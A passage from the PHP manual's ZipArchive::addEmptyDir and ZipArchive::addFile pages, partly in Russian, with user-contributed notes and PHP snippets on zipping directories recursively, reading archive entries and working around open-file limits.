                // and call the function again
                folderToZip($folder . $f, $zipFile, $f);
            }
        }
    }
}
?>

Use it like this:
<?php
$z = new ZipArchive();
$z->open("test.zip", ZIPARCHIVE::CREATE);
folderToZip("storeThisFolder", $z);
$z->close();
?>

Have a good day!
panique at web dot de 14-Jul-2012 11:21
Important: Due to the natural file size limit of 4GB (~3,6GB to be correct) of zip files, this class will generate corrupt files of the result is larger than 4 GB. Using tar.gz is a proper alternative.
bruno dot vibert at bonobox dot fr 09-May-2012 08:21
There is a usefull function to get the ZipArchive status as a human readable string :

<?php
function ZipStatusString( $status )
{
    switch( (int) $status )
    {
        case ZipArchive::ER_OK           : return 'N No error';
        case ZipArchive::ER_MULTIDISK    : return 'N Multi-disk zip archives not supported';
        case ZipArchive::ER_RENAME       : return 'S Renaming temporary file failed';
        case ZipArchive::ER_CLOSE        : return 'S Closing zip archive failed';
        case ZipArchive::ER_SEEK         : return 'S Seek error';
        case ZipArchive::ER_READ         : return 'S Read error';
        case ZipArchive::ER_WRITE        : return 'S Write error';
        case ZipArchive::ER_CRC          : return 'N CRC error';
        case ZipArchive::ER_ZIPCLOSED    : return 'N Containing zip archive was closed';
        case ZipArchive::ER_NOENT        : return 'N No such file';
        case ZipArchive::ER_EXISTS       : return 'N File already exists';
        case ZipArchive::ER_OPEN         : return 'S Can\'t open file';
        case ZipArchive::ER_TMPOPEN      : return 'S Failure to create temporary file';
        case ZipArchive::ER_ZLIB         : return 'Z Zlib error';
        case ZipArchive::ER_MEMORY       : return 'N Malloc failure';
        case ZipArchive::ER_CHANGED      : return 'N Entry has been changed';
        case ZipArchive::ER_COMPNOTSUPP  : return 'N Compression method not supported';
        case ZipArchive::ER_EOF          : return 'N Premature EOF';
        case ZipArchive::ER_INVAL        : return 'N Invalid argument';
        case ZipArchive::ER_NOZIP        : return 'N Not a zip archive';
        case ZipArchive::ER_INTERNAL     : return 'N Internal error';
        case ZipArchive::ER_INCONS       : return 'N Zip archive inconsistent';
        case ZipArchive::ER_REMOVE       : return 'S Can\'t remove file';
        case ZipArchive::ER_DELETED      : return 'N Entry has been deleted';

        default: return sprintf('Unknown status %s', $status );
    }
}

?>
webmaster at sebastiangrinke dot info 06-Oct-2011 01:30
Here is a simple function which zips folders with all sub folders or only a simple file... the $data var can be a string or an array...

<?php
public function un_zip($data,$arcpf,$mode='zip',$obj=''){
        $absoluterpfad = 'YOUR_BASE_PATH';
        $arcpf = $absoluterpfad.DS.$arcpf;
        if(is_object($obj)==false){
             $archiv = new ZipArchive();
             $archiv->open($arcpf,ZipArchive::CREATE);
        }else{$archiv =& $obj;}
        if($mode=='zip'){
           if(is_array($data)==true){
                 foreach($data as $dtmp){
                     $archiv =& un_zip($dtmp,$arcpf,'zip',&$archiv);
                 }
           }else{
            if(is_dir($data)==true){
                    $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data));
                  $files = scandir($data);
               $bad = array('.','..');
               $files = array_diff($files,$bad);
               foreach($files as $ftmp){
                   if(is_dir($data.DS.$ftmp)==true){
                        $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                        $archiv =& un_zip($data.DS.$ftmp,$arcpf,'zip',&$archiv);
                   }elseif(is_file($data.DS.$ftmp)==true){
                    $archiv->addFile($data.DS.$ftmp,str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                   }
                 }
            }elseif(is_file($data)==true){$archiv->addFile($data,str_replace($absoluterpfad.DS,'',$data));}
           }
        }
        if(is_object($obj)==false){$archiv->close();}
        else{return $archiv;}
        if($mode=='unzip'){$archiv->extractTo($data);}
    }
?>
Jerry dot Saravia at emc dot com 08-Aug-2011 01:57
The following code can be used to get a list of all the file names in a zip file.

<?php
$za = new ZipArchive();

$za->open('theZip.zip');

for( $i = 0; $i < $za->numFiles; $i++ ){
    $stat = $za->statIndex( $i );
    print_r( basename( $stat['name'] ) . PHP_EOL );
}
?>
h-fate at gmx dot net 05-Oct-2010 04:17
Be wary that there are several algorithms to generate a zip file. I found that Office OpenXML files created with ZipArchive are not recognized by Excel 2007, for example.

You have to use a different class to zip in this case, such as PclZip.
hardcorevenom at gmx dot com 15-Jun-2010 03:17
Read a file from an archive to a variable.
A warning is printed automatically in case of a CRC32 mismatch, which we capture, so we can print our own error message.

<?php
$zip = new ZipArchive();
if ($zip->open('archive.zip')) {
  $fp = $zip->getStream('myfile.txt'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to zipped file");
  $stat = $zip->statName('myfile.txt');

  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048); //reading more than 2156 bytes seems to disable internal CRC32 verification (bug?)
    }
    $s = ob_get_contents();
  ob_end_clean();
  if(stripos($s, "CRC error") != FALSE){
    echo 'CRC32 mismatch, current ';
    printf("%08X", crc32($buf)); //current CRC
    echo ', expected ';
    printf("%08X", $stat['crc']); //expected CRC
  }

  fclose($fp);
  $zip->close();
  //Done, unpacked file is stored in $buf
}
?>

To create a corrupt file, change a byte in a zip file using a hex editor.


Добавляет новую директорию

  • « ZipArchive
  • ZipArchive::addFile »
  • PHP Manual
  • ZipArchive
  • Добавляет новую директорию

ZipArchive::addEmptyDir

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.8.0)

ZipArchive::addEmptyDir — Добавляет новую директорию

Описание

public ZipArchive::addEmptyDir(string $dirname, int $flags = 0): bool

Добавляет пустую директорию в архив.

Список параметров

dirname

Директория для добавления.

flags

Битовая маска, состоящая из
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437.
Поведение констант описано на странице ZIP-константы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 / 1.18.0 | Добавлен параметр flags.

Примеры

Пример #1 Создание новой директории в архиве.

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
if($zip->addEmptyDir('newDirectory')) {
echo 'Создана новая директория';
} else {
echo 'Невозможно создать директорию';
}
$zip->close();
} else {
echo 'ошибка';
}
?>

User Contributed Notes

iunknownvb at gmail dot com 23-Dec-2022 04:32
I have modified thomas dot rubbert at yahoo dot de a little bit

$uploads_dir =storage_path().'/app/public/files/' ;
                    if(!file_exists($uploads_dir)){
                        mkdir($uploads_dir,0777,true);
                    }
                    $zip_file=$uploads_dir.'download.zip';
                    if(file_exists($zip_file)){
                        unlink($zip_file);
                    }
                    $zip = new \ZipArchive();
                    if (!$zip->open($zip_file, \ZIPARCHIVE::CREATE)) {
                        http_response_code(501);
                        echo 'Zip creation failed';
                        die();
                    }
                    $img=$uploads_dir.'img';

                    $dirName = realpath($img);
                    if (substr($dirName, -1) != DIRECTORY_SEPARATOR) {
                        $dirName.= DIRECTORY_SEPARATOR;
                    }
                    $dirStack = array($dirName);
                    //Find the index where the last dir starts
                    $cutFrom = strrpos(substr($dirName, 0, -1), DIRECTORY_SEPARATOR)+1;
                    while (!empty($dirStack)) {
                        $currentDir = array_pop($dirStack);
                        $filesToAdd = array();
                        $dir = dir($currentDir);
                        while (false !== ($node = $dir->read())) {
                            if (($node == '..') || ($node == '.')) {
                                continue;
                            }
                            if (is_dir($currentDir . $node)) {
                                array_push($dirStack, $currentDir . $node . DIRECTORY_SEPARATOR);
                            }
                            if (is_file($currentDir . $node)) {
                                $filesToAdd[] = $node;
                            }
                        }
                        $localDir =str_replace(DIRECTORY_SEPARATOR,'/',substr($currentDir, $cutFrom));
                        $zip->addEmptyDir($localDir);
                        foreach ($filesToAdd as $file) {
                            $zip->addFile($currentDir . $file, $localDir . $file);
                        }
                    }
// any additional files
                    $db=$uploads_dir.'databse.db';
                    //$zip->addFromString(basename($db), file_get_contents($db));
                    $zip->addFile($db, basename($db));
                    $zip->close();
tahazit dot co dot il at gmail dot com 28-Nov-2014 01:25
On PHP >5.4, This function will create a file, not a directory.

For instance:

   $zip->addEmptyDir ( 'path/to/dir/' );

will create the folders "path/", and "path/to/", and a dummy 0-byte file named "dir" in the latter.
If then we add a file to that dir, say like this:

   $zip->addFromString ( 'path/to/dir/file.txt', $data );

the result will be a SEPARATE folder named "dir" next to the dummy "dir" file. The "dir" folder will contain the file "file.txt".

This was tested on an APACHE server running PHP 5.4
hunter666 at abv dot bg 26-Jun-2010 01:44
Add folder and sub-directories to zip archive.

<?php
$archive_name = "archive.zip"; // name of zip file
$archive_folder = "folder"; // the folder which you archivate

$zip = new ZipArchive;
if ($zip -> open($archive_name, ZipArchive::CREATE) === TRUE)
{
    $dir = preg_replace('/[\/]{2,}/', '/', $archive_folder."/");

    $dirs = array($dir);
    while (count($dirs))
    {
        $dir = current($dirs);
        $zip -> addEmptyDir($dir);

        $dh = opendir($dir);
        while($file = readdir($dh))
        {
            if ($file != '.' && $file != '..')
            {
                if (is_file($file))
                    $zip -> addFile($dir.$file, $dir.$file);
                elseif (is_dir($file))
                    $dirs[] = $dir.$file."/";
            }
        }
        closedir($dh);
        array_shift($dirs);
    }

    $zip -> close();
    echo 'Archiving is sucessful!';
}
else
{
    echo 'Error, can\'t create a zip file!';
}
?>
thomas dot rubbert at yahoo dot de 30-May-2009 05:19
Here's a stack-based way to zip a directory. No recursion, no function, no class:

<?php
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);

$dirName = 'test';

if (!is_dir($dirName)) {
    throw new Exception('Directory ' . $dirName . ' does not exist');
}

$dirName = realpath($dirName);
if (substr($dirName, -1) != '/') {
    $dirName.= '/';
}

/*
 * NOTE BY danbrown AT php DOT net: A good method of making
 * portable code in this case would be usage of the PHP constant
 * DIRECTORY_SEPARATOR in place of the '/' (forward slash) above.
 */

$dirStack = array($dirName);
//Find the index where the last dir starts
$cutFrom = strrpos(substr($dirName, 0, -1), '/')+1;

while (!empty($dirStack)) {
    $currentDir = array_pop($dirStack);
    $filesToAdd = array();

    $dir = dir($currentDir);
    while (false !== ($node = $dir->read())) {
        if (($node == '..') || ($node == '.')) {
            continue;
        }
        if (is_dir($currentDir . $node)) {
            array_push($dirStack, $currentDir . $node . '/');
        }
        if (is_file($currentDir . $node)) {
            $filesToAdd[] = $node;
        }
    }

    $localDir = substr($currentDir, $cutFrom);
    $zip->addEmptyDir($localDir);

    foreach ($filesToAdd as $file) {
        $zip->addFile($currentDir . $file, $localDir . $file);
    }
}

$zip->close();
?>
D.Jann 07-Oct-2008 05:26
I've brought a little modification to dayjo's code, so it wouldn't re-create the whole structure of your working drive in the zip file:

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive, $zipdir = ''){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            if(!empty($zipdir)) $zipArchive->addEmptyDir($zipdir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive, $zipdir . $file . "/");
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file, $zipdir . $file);

                }
            }
        }
    }
}
?>

If you don't specify the third parameter (zipdir), the directory you're adding will be added at the root of the zip file.

D.Jann
pagetronic 12-Sep-2008 03:53
addEmptyDir doesn't exist now,
use $zip->addFile($file, $dir.$fichier);

nothing on the net about this,

addEmptyDir work on Ubuntu but not on Debian Etch
Anonymous 24-Aug-2008 03:28
Here's a simple recurring function to add a directory, all sub-directories and all files to an already created zip file;

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            $zipArchive->addEmptyDir($dir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive);
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file);

                }
            }
        }
    }
}
?>

Would be nice to see more input on these functions :)

Dayjo
benjamin dot seiller at antwerpes dot de 21-Jul-2008 04:37
There is kind of a bug in the method
ZipArchive::addFile
which affects the class ZipFolder below.
It is related to the numer of max filehandles of the OS.

As workaround add a file-counter to the class and close + reopen the archive if a certain number of files (directories count as files!) is reached.

For more details see here:
http://de.php.net/manual/en/function.ziparchive-addfile.php
or go directly here
http://bugs.php.net/bug.php?id=40494
or here
http://pecl.php.net/bugs/bug.php?id=9443


Добавляет в ZIP-архив файл по указанному пути

  • « ZipArchive::addEmptyDir
  • ZipArchive::addFromString »
  • PHP Manual
  • ZipArchive
  • Добавляет в ZIP-архив файл по указанному пути

ZipArchive::addFile

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFile — Добавляет в ZIP-архив файл по указанному пути

Описание

public ZipArchive::addFile(
string $filepath,
string $entryname = "",
int $start = 0,
int $length = 0,
int $flags = ZipArchive::FL_OVERWRITE
): bool

Добавляет в ZIP-архив файл по указанному пути.

Замечание: Для максимальной переносимости, рекомендуется всегда использовать прямые слеши (/) в качестве разделителя директорий в именах файлов.

Список параметров

filepath

Путь к файлу для добавления.

entryname

Имя файла внутри ZIP-архива. Если указано, то переопределит filepath.

start

Для частичного копирования начальная позиция.

length

Для частичного копирования - длина копируемого файла, если 0 или -1, используется весь файл (начиная с start).

flags

Битовая маска, состоящая из
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437,
ZipArchive::FL_OPEN_FILE_NOW.
Поведение констант описано на странице ZIP-константы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 / 1.18.0 | Добавлен параметр flags.
8.3.0 / 1.22.1 | Добавлена константа ZipArchive::FL_OPEN_FILE_NOW.

Примеры

В данном примере открывается файл ZIP-архива test.zip и в него добавляется файл /path/to/index.txt под именем newname.txt.

Пример #1 Открыть и добавить

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->addFile('/path/to/index.txt', 'newname.txt');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Примечания

Замечание:

В процессе добавления файла в архив, PHP заблокирует файл. Разблокировка произойдёт только после закрытия объекта ZipArchive, путём вызова ZipArchive::close() или уничтожения объекта ZipArchive. Это предотвращает удаление только что добавленного в архив файла до того, как он будет разблокирован.

Смотрите также

  • ZipArchive::replaceFile() - Заменяет файл в ZIP-архиве указанным путём

User Contributed Notes

610010559 at qq dot com 16-Mar-2022 03:52
there are some points  can be more clear, it take me some time to figure out. hope it can help you.
1.use addFile() ,method to add the file with path to zip. if the directory not exist, addFile() would auto create it.
<?php
   ....
   //addFile would help you create the directory named not_exist_director before add the filename.txt file.
   $zip->addFile($fileToAdd, '/not_exist_directory/filename.txt');
   ...
?>

2. addFile() would overwrite the old file if exist in default.
<?php
   ....
   //if the filename.txt is exist in the zip, addFile() would overwrite it. because the the addFile fifth param is ZipArchive::FL_OVERWRITE by default.
   $zip->addFile($fileToAdd, '/filename.txt');
   ...
?>
raja at rsdisk dot com 10-Nov-2018 08:57
zip->addfile function does not add file to archive immediately. It is cued and executed at zip->close()

I had backup files in a dir. with a foreach statement I was adding the file to an archive and then moving the files into dump dir immediately.

This caused an error.

<?php
$dir = getcwd().'/';
$dirContent = scandir('./');
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
        $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "; file added\n");
}
$zip->close();
?>

The $zip->close() needs to execute before moving files,
<?php
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
    echo( "; file added\n");
}
$zip->close();
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "$file moved\n");
}
?>
gio AT giombg dot com 20-Jan-2018 08:22
work 4 me

$zip = new ZipArchive;
$zip_name = ('name.zip');
$path_zip = ($config['path'].'/zip/'.$zip_name);
$zip->open($path_zip,ZipArchive::CREATE);
$zip->addFile($path1.'/'.$nam1,$nam1);
$zip->addFile($path2.'/'.$nam2,$nam2);
$zip->close();

ciao
GioMBG
ohcc at 163 dot com 01-Aug-2016 01:22
?????????,ZIPARCHIVE::addFile() ???????????????,????????????

????ZipArchive::addFromString()????

??:???????Windows,???????gbk.
??php????????utf-8,???????

ZipArchive::addFile() fails if the filename contains Chinese characters.

ZipArchive::addFromString() should be used instead.

<?php

    $z = new ZipArchive;

    $file = '???.txt';

    if($z->open(ZIPARCHIVE::CREATE)===true){
        $z->addFromString($file, file_get_contents($file));
        //for windows
        //$z->addFromString($file, file_get_contents(iconv('utf-8', 'gbk//ignore', $file)));
    }
    // ...
ohcc at 163 dot com 16-Dec-2015 05:04
Do NOT use ZipArchive::addFile() to append a folder.

When a folder's path is passed to ZipArchive::addFile(), the method returns true, but ZipArchive can neither create a zip archive nor can it make any change to a existing file.

<?php
    $z = new ZipArchive();
    if(true === ($z->open('./foo.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE))){
        $z->setArchiveComment('Interesting!');
        $z->addFromString('domain.txt', 'wuxiancheng.cn');
        $folder = './test';
        !is_dir($folder) && mkdir($folder); // Create an folder for testing
        if(true === $z->addFile($folder)){
            echo 'success'; // !!!
        }
        rmdir($folder);
        $z->close();
        // foo.zip will NOT be saved on disk.
        // If foo.zip already exists before we run this script, the file will remain unchanged.
    }
?>
stanislav dot eckert at vizson dot de 02-Mar-2015 11:43
2 tips:

- The example in on this page is a bit misleading for new programmers. It works only if the ZIP archive file exists already. Don't forget to use ZipArchive::CREATE and optionally ZipArchive::OVERWRITE in the second optional parameter in the open() function.

- If you want to add files and directories recursively (see some examples from other comments here on this page) use scandir() instead of blob() because blob() does not list hidden files like ".htaccess" for example.
todd at toddwiggins dot com dot au 15-May-2014 03:31
The addFile() method does not accept the "file://" protocol. Strip away "file://" and use the absolute path instead.

I assume that it also does not accept any other protocols, I was having issues trying to add files, other functions within the application I was building required the use of the protocol.

Also to note, the status code returned did not match any of the predefined error codes, and the status code was never the same. My assumption was a overflow on the variable as the status codes were around the minimum and maximum INT values.
frame86 at live dot com 13-Apr-2014 04:48
The manual is lying.

"In short, it means you can first delete an added file after the archive is closed. "

Thats true but not by locking the file...
Warning! This method works asynchronous!

It seems that addFile() will return TRUE if the file stat command returns correctly, but the operation itself will not happen yet.

Instead, deleting a file is always possible. I have discovered this behaviour by using a temporary file and deleting it immediately after addFile() returns. The result was that no archive was created nor any file was added although every operation (creating,open(),addFile()) returned true before. The operation silenty fails.
romuloum at hotmail dot com 03-Apr-2014 07:00
If you have problem with windows explorer reading zipfile created by linux, try:
$oZip->addFile ( $file_name, " " . basename ( $file_name ) )
That space " " should solve.
s dot eckert dot spam at gmx dot com 11-Oct-2013 03:27
Note that there is no concept of "folders" for ZIP files. If you need to store data into folders, use forward slashes ("/") in $localname to separate folder(s) and the file name.

Example:
$zip->addFile("test.txt", "mainfolder/subfolder/test.txt");
arrtedone at gmail dot com 29-Aug-2013 08:19
Note that ZipArchive::open() not return boolean value, but integer, for example :
$zip = new ZipArchive();
$filename = '/tmp/test.zip';
var_dum($zip->open($filename)); // return's : int (11)
kris at blacksuitmedia [do/t/] c0m 25-Apr-2013 08:41
I had a huge number of files and folders that I needed to zip on a linux web server. I was running into timeout problems and file enumerator issues, as well as file handler limit issues (ulimit). I used a script to solve u limit offered by Farzad Ghanei first (ZipArchiveImproved), but closing and reopening his way didn't do the trick for me.

I eventually did a simple call to a $filelimit variable I created that records file handler limit I want my script to hit before it closes and reopens the file.
<?php
$filelimit = 255;

if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}
?>

This made some progress for me, timeouts were gone, but when calling
<?php $zip->addFile($filepath, $archivefilepath); ?>
after the reopening of the Zip, I got an error. I echoed the <?php $zip->numFiles; ?> and found that after reopening, the numFile enum reset to '0'.

A few more goose-chases later, I tried addFromString with some better results, but did not get it working 100% until I actually coupled addFromString with addFile! My working scripting for the add files function on massive file-folder structures looks like so:

<?php
$sourcefolder = /rel/path/to/source/folder/on/server/

$dirlist = new RecursiveDirectoryIterator($sourcefolder);

$filelist = new RecursiveIteratorIterator($dirlist);

//how many file can be added before a reopen is forced?
$filelimit = 245;

// Defines the action
$file = tempnam("tmp", "zip");
$zip = new ZipArchive();

// This creates and then gives the option to save the zip file

if ($zip->open($file, ZipArchive::OVERWRITE) !== TRUE) {

    die ("Could not open archive");

}

// adds files to the file list
foreach ($filelist as $key=>$value) {

    //fix archive paths
    $path = str_replace($sourcefolder, "", $key); //remove the source path from the $key to return only the file-folder structure from the root of the source folder
    if (!file_exists($key)) { die($key.' does not exist. Please contact your administrator or try again later.'); }
      if (!is_readable($key)) { die($key.' not readable. Please contact your administrator or try again later.'); }
          if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}

    $zip->addFromString($path, $key) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);
    $zip->addFile(realpath($key), $path) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);

}

// closes the archive
$zip->close();

//make local temp file a .zip, rename, and move to output dir
rename ($file, "./" . $outputfolder . "/" . $zipfilename);
?>
I hope this may help someone else.
Dean Rather 31-Oct-2012 03:47
This add directory function does not require that you create a new wrapper class, and also does not add the entire file directory tree into your zip file.

<?php

public function addDirectoryToZip($zip, $dir, $base)
{
    $newFolder = str_replace($base, '', $dir);
    $zip->addEmptyDir($newFolder);
    foreach(glob($dir . '/*') as $file)
    {
        if(is_dir($file))
        {
            $zip = $this->addDirectoryToZip($zip, $file, $base);
        }
        else
        {
            $newFile = str_replace($base, '', $file);
            $zip->addFile($file, $newFile);
        }
    }
    return $zip;
}

?>
shano 01-May-2012 02:21
thought it might come in handy
recursively adds all directories and files within a directory

class zip extends ZipArchive {

    public function addDirectory($dir) { // adds directory
        foreach(glob($dir . '/*') as $file) {
            if(is_dir($file))
                $this->addDirectory($file);
            else
                $this->addFile($file);
        }
    }
}
ptipti at gala dot net 06-Apr-2012 12:12
Another surprise, which took a lot of trouble. So that after you add a file to the archive it can be safely removed, took advantage of such construction:

if (!is_file ($archive)) :
    $result = $zip->open ($archive, ZipArchive::CREATE);
else :
    $result = $zip->open ($archive);
endif;
if ($result === TRUE) :
    if (($zip->addFile ($file, $filename)) === TRUE) :
        $theoreticaly_added = TRUE;
    endif;
    if ((($zip->close ()) === TRUE) && $theoreticaly_added) :
        unlink ($file);
    endif;
endif;

Now the files will not disappear. But perhaps there is a simpler solution, which gives 100% guarantee?
sp at read dot eu 16-Feb-2012 08:25
Note that using addFile() will change the order of the files within the zip, in fact within the index of the zip. Does not matter much, except if you loop the index and use addFile() within that loop : it will likely give messy results.

Example :
<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      addFile('./somenewfile.ext', $zip->getNameIndex($i));
    }
  }
}
$zip->close();
?>

This code may loop for ever, depending on your forsomereason() function, or at least you're at risk.

Try something like this instead :

<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      $couples[]=array('filename'=>'./somenewfile.ext','localname'=>$zip->getNameIndex($i));
    }
  }
}
foreach ($couples as $couple) $zip->addFile($couple['filename'],$couple['localname']);
$zip->close();
?>

Hope it helps ;-)
john factorial 29-Dec-2010 12:57
Beware: calling $zip->addFile() on a file that doesn't exist will succeed and return TRUE, delaying the failure until you make the final $zip->close() call, which will return FALSE and potentially leave you scratching your head.

If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist.

It's also a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
aartdebruijn at gmail dot com 04-Nov-2010 06:37
When adding a file to your zip, the file is opened and stays open.
When adding over 1024 files (depending on your open files limit) the server stops adding files, resulting in a status 11 in your zip Archive. There is no warning when exceeding this open files limit with addFiles.

Check your open files with ulimit -a

This kept me busy for some time.
camuc at camuc dot net 27-Apr-2010 08:23
In some versions of this library you NEED to add the "localfile" parameter or the file will not show in the Zip folder.
pelpet at ic dot cz 20-Apr-2010 09:02
<?php
$zip=new ZipArchive;
$zip->addFile('path to the file', 'new name of the file');
?>

What I have to do, when I wan't to have the file in the zip archive with it's name before archiving?
(Sorry, I'm from Czech Republic and I can't speak English very well, if I did anywhere mistake, so ignore that pease :-)
jayarjo 24-Feb-2010 01:44
It is not obvious, since there are no noticeable examples around, but you can use $localname (second parameter) to define and control file/directory structure inside the zip. Use it if you do not want files to be included with their absolute directory tree.

<?php

$zip->addFile($abs_path, $relative_path);

?>
Anonymous 18-Jan-2010 10:30
On my system (Windows), I found that ZipArchive uses IBM850 encoding for filenames (localname). For filenames with special characters such as (e) &eacute; which appears at 0xE9 in the ISO-8859-1, it is at 0x82 in IBM850. I had to call iconv('ISO-8859-1', 'IBM850', 'Quebec') to get correct file names.
peter at boring dot ch 22-Aug-2009 06:10
Here's a little extension to ZipArchive that handles directories recursively:

<?php

class Zipper extends ZipArchive {

public function addDir($path) {
    print 'adding ' . $path . '<br>';
    $this->addEmptyDir($path);
    $nodes = glob($path . '/*');
    foreach ($nodes as $node) {
        print $node . '<br>';
        if (is_dir($node)) {
            $this->addDir($node);
        } else if (is_file($node))  {
            $this->addFile($node);
        }
    }
}

} // class Zipper

?>
christophe dot braud at aquafadas dot com 11-Aug-2009 03:10
If you have some warnings with ZipArchiveImproved since the last Ubuntu update, replace "self::CREATE" by "self::CREATE | self::OVERWRITE" in the reopen function

christophe
garcia at no_span dot krautzer-lynn dot com 24-Mar-2009 06:31
If you add files that have an absolut path, like for example:
/mnt/repository/my_file.pdf
the standard windows zip utility will not be able to extract the files. The first slash trips the zip utility. You have to add relative file paths or use a symbolic link.
ss at littlerain dot com 30-Jan-2009 04:45
Note that the file isn't actually added to the archive until the $zip->close() method is called. I spent a lot of time trying to figure out why no time() went by after adding large files via $zip->addFile() but would then time out the script.
Farzad Ghanei 18-Jan-2009 02:53
here is a basic class that extends the ZipArchive to:
  * add a functionality to report the ZIP file address (I needed it and I could not find out how in ZipArchive documentation).
  * resolve the problem of adding so many files to the archive due file descriptor limit. the ZipArchiveImproved::addFile() handles this.

<?php
/**
 * ZipArchiveImproved extends ZipArchive to add some information about the zip file and some functionality.
 *
 *
 *
 * @author Farzad Ghanei
 * @uses ZipArchive
 * @version 1.0.0 2009-01-18
 */

class ZipArchiveImproved extends ZipArchive {
    protected $_archiveFileName = null;
    protected $_newAddedFilesCounter = 0;
    protected $_newAddedFilesSize = 100;

    /**
     * returns the name of the archive file.
     *
     * @return string
     */
    public function getArchiveFileName() {
        return $this->_archiveFileName;
    }

    /**
     * returns the number of files that are going to be added to ZIP
     * without reopenning the stream to file.
     *
     * @return int
     */
    public function getNewAddedFilesSize() {
        return $this->_newAddedFilesSize;
    }

    /**
     * sets the number of files that are going to be added to ZIP
     * without reopenning the stream to file. if no size is specified, default is 100.
     *
     * @param int
     * @return ZipArchiveImproved self reference
     */
    public function setNewlAddedFilesSize($size=100) {
        if ( empty($size) || !is_int($size) || $size < 1) {
            $size = 100;
        }
        $this->_newAddedFilesSize = $size;
        return $this;
    }

    /**
     * opens a stream to a ZIP archive file. calls the ZipArchive::open() internally.
     * overwrites ZipArchive::open() to add the archiveFileName functionality.
     *
     * @param string $fileName
     * @param int $flags
     * return mixed
     */
    public function open($fileName, $flags) {
        $this->_archiveFileName = $fileName;
        $this->_newAddedFilesCounter = 0;
        return parent::open($fileName,$flags);
    }

    /**
     * closes the stream to ZIP archive file. calls the ZipArchive::close() internally.
     * overwrites ZipArchive::close() to add the archiveFileName functionality.
     *
     * @return bool
     */
    public function close() {
        $this->_archiveFileName = null;
        $this->_newAddedFilesCounter = 0;
        return parent::close();
    }

    /**
     * closes the connection to ZIP file and openes the connection again.
     *
     * @return bool
     */
    public function reopen() {
        $archiveFileName = $this->_archiveFileName;
        if ( !$this->close() ) {
            return false;
        }
        return $this->open($archiveFileName,self::CREATE);
    }

    /**
     * adds a file to a ZIP archive from the given path. calls the ZipArchive::addFile() internally.
     * overwrites ZipArchive::addFile() to handle maximum file connections in operating systems.
     *
     * @param string $fileName the path to file to be added to archive
     * @param string [optional] $localname the name of the file in the ZIP archive
     * @return bool
     */
    public function addFile( $fileName ) {
        if ($this->_newAddedFilesCounter >= $this->_newAddedFilesSize) {
            $this->reopen();
        }
        if ( func_num_args() > 1 ) {
            $flags = func_get_arg(1);
            $added = parent::addFile($fileName,$flags);
            if ($added) {
                $this->_newAddedFilesCounter++;
            }
            return $added;
        }
        $added = parent::addFile($fileName);
        if ($added) {
            $this->_newAddedFilesCounter++;
        }
        return $added;
    } // public function addFile()
}
?>
marco at maranao dot ca 15-Dec-2008 10:45
This is my workaround for the file descriptor limit by closing/opening the archive file periodically.

<?php
if($backup = new ZipArchive()) {
    if($backup->open($zip, ZIPARCHIVE::OVERWRITE) === true) {
        $backup->addFile($file['realpath'], $file['path']);
        if(($count++) == 200) { // the file descriptor limit
            $backup->close();
            if($backup = new ZipArchive()) {
                $backup->open($zip);
                $count = 0;
            }
        }
    }
    $backup->close();
}
?>

Hope it helps someone.
